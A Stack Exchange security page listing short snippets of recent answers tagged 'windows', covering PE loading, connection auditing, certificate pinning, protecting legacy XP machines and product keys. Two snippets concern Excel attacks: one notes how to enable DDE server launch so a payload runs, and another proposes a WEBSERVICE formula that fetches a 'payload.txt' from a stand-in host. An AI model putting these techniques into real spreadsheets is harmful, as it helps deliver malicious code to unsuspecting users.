New answers tagged windows
0
In the book Mastering Malware Analysis: The complete malware analyst's guide to combating malicious software, APT, cybercrime, and IoT attacks [Alexey Kleymenov, Amr Thabet], there're 2 sections in chapter 2 called "Process loading step by step" and "PE file loading step by step" which document how the Windows PE loader is loaded and how it works.
This ...
3
Using native functionality in Windows, the best method would be to enable Audit Filtering Platform Connection. It can log all connections allowed by the Windows Firewall. The following is an excerpt:
Audit Filtering Platform Connection determines whether the operating
system generates audit events when connections are allowed or blocked
by the Windows ...
-3
Use a MITM proxy for reading all the traffic. Ethercap is another way
2
You can monitor (and log) all incoming and outgoing network connections using Windows Process Monitor and TCPView, which are included in Windows Sysinternals. For more information on how to use these tools, see http://technet.microsoft.com/en-us/sysinternals/bb896645 and http://technet.microsoft.com/en-us/sysinternals/bb897437.
-1
I'm currently working on this as well, I'm not an expert but I think you have to understand the Windows objects part as well, I couldn't find RPC Control till I read about it, you can use the Sysinternals tool WinObj this will show you a bit more.
I was able to use create mount point between two folders but not to an object, there is more details here ...
1
This is actually a simple and clear policy by Microsoft (but it may have deeper issues):
Even if you choose to accept the Automatic Sample Submission feature remaining enabled, if the file Microsoft is requesting is a data file of any sort, then there should be a prompt to confirm. The only files that Microsoft will send without confirmation are executable ...
0
I've developed a C# Service that runs in background that lockouts the computer at USB introduction that not matches a whitelist. It has also a training mode that will add USB devices signatures while setted. Any recommendation and improvement is appreciated.
https://github.com/JBalanza/USBBlocker
0
The ideal solution would be to use a custom Extended Key Usage (EKU) and to mark the Extended Key Usage as critical. Your application (the TLS client) then needs to validate the Extended Key Usage and make sure that it contains the custom OID you have defined.
TLS clients that do not know or understand your custom EKU OID (e.g. a web browser) will reject ...
1
If attacker gets access to a private key material of the server certificate, your security is compromised. What you can do is to add security to key storage and store the key in HSM (Hardware Security Module).
1
It is perfectly fine to use a cryptographic hash ("fingerprint") of the certificate for comparison instead of the certificate itself. And this is actually often done when implementing certificate pinning.
A man in the middle would not be able to generate a certificate and matching private key where the certificate has exactly the same fingerprint as your ...
3
Finally found the reason why the payload were not executing: DDE launch was disabled in Excel options.
If someone has the same issue, this setting can be found in
File → Options → Trust Center → Trust Center Settings → External Content → Enable Dynamic Data Exchange Server Launch
Reference https://docs.microsoft.com/en-us/office365/troubleshoot/security/...
0
I haven't tested this, but it might be possible to get this to run using the WEBSERVICE function. According to microsoft you can update cells with the function, then combining with this mimecast article it appears you could load your malicious "cell-code" using this function.
It would look something like this:
=WEBSERVICE("http://example.com/payload.txt")
...
0
From an authorization perspective, the difference between Administrator and LocalSystem is nearly meaningless. Either one can launch arbitrary programs as the other (although, assuming the process running as LocalSystem doesn't have access to the Administrator's password, it would need to either reset the password or create an unauthenticated Administrator ...
2
Assuming that your knowledge about IT security is reflected in the question in that you cannot focus on your specific threats and risks since you don't know them, then the likelihood of getting hacked is high enough to be worried. Note that this is not meant to denounce your knowledge, most people don't know much about IT security.
But if one is not ...
5
It is totally irrelevant if GET or POST is used. The TLS handshake is done before any HTTP request is even send. So if the handshake fails it means that neither GET nor POST is possible. If the server will only accept POST and a GET was send the server will reply with an HTTP level error. It cannot cause a TLS handshake error since the TLS handshake was ...
-1
Two tiered solution can be used here
Install a perimeter firewall, cut all protocols NOT needed for an update (take care of zero-day vulnerabilities, such as SMB protocol vulnerability for XP for example), Firewall should at least be capable of deep packet inspection. Install a firewall antivirus (it will download on somewhere safe, scan it, then release ...
1
Think about possible threats. How could an attacker gain access to the system?
An attacker could monitor the internet connection and block the updates or insert fake updates.
=> To protect against modified (malicious) updates, the updates could be cryptographically signed.
A computer in the network could be infected and try to infect the XP machine.
=> Try ...
7
It is not that uncommon to have these out-of-support and vulnerable machines in an organisation. It's important to perform a risk assessment to determine the impact of any vulnerabilities.
High-Level Risk Assessment
Threats:
Internet connections mean that remote threats are a problem
Local network connections mean that threats within the network (or ...
1
Nothing can be used by a non-admin to reset the admin password without rebooting the system and modifying the disk offline. Doing so requires physical access to the machine (which I'm guessing you must allow) and is usually mitigated with full-volume encryption (FVE). The standard Windows FVE feature, Bitlocker, is not available on Home editions; you can pay ...
0
a. autorun is disabled on modern OSes.
b. but IDK if other software access the content, if they have vulnrs, it can be possible to exploit them. For example a a lnk to cpl exploit used by StuxNet.
it is very naïve to think that drivers got from MS are secure and have no vulnrs.
there is such a thing as an universal driver.
1
It might be illegal, you might (in the Windows license) agree to pay a fine if you enter an invalid product key and be legally held to that, or it might seem to work but later be deactivated if it turned out to be illegitimate, but harming your computer in terms of viruses: not really. There is a super small chance that someone found a buffer overflow ...
4
No, the product key has nothing to do with the security part of the OS.
If you do not activate a Windows 10 copy, the only practical inconvenient is that you cannot make desktop-related background customization. Everything else work exactly the same.
As for a key brought at a discount, it may very well work and let you activate and use your product on ...
0
Disabling and re-enabling the scanner can be needed in many more cases. For instance, if you use Office 365 or some other applications that use domain login, such applications will periodically ask user for password even when user is already logged in in Windows. If you disable scanner each time, it may be break the user's work with scanner.
Use tokens like ...
4
This is not really a technical problem but a usability problem. If you have a password policy which requires unique and unguessable passwords and maybe regular changes then users need to find a way to somehow remember the current password. A typical way is to write this down and put under the keyboard or something like this. Using a QR code is just another ...
6
Some people think that breaking stuff is funny (or, in other words, they do it "for teh lulz"). It's possible there's some other explanations, of course - maybe they have an ethical objection to software piracy and think anybody who attempts it deserves to have their system wrecked, maybe the program attempted (or would have attempted, if given more time?) ...
4
I remember reading somewhere that there's no way at all of knowing what an exe does on a computer. How true is that?
As much I wish there was a magic .exe problem-finder program, there isn't. If you really are worried about what an .exe file will do to your computer, run it in a VM (though VMs aren't completely safe) or on a computer or laptop you don't ...
Top 50 recent answers are included
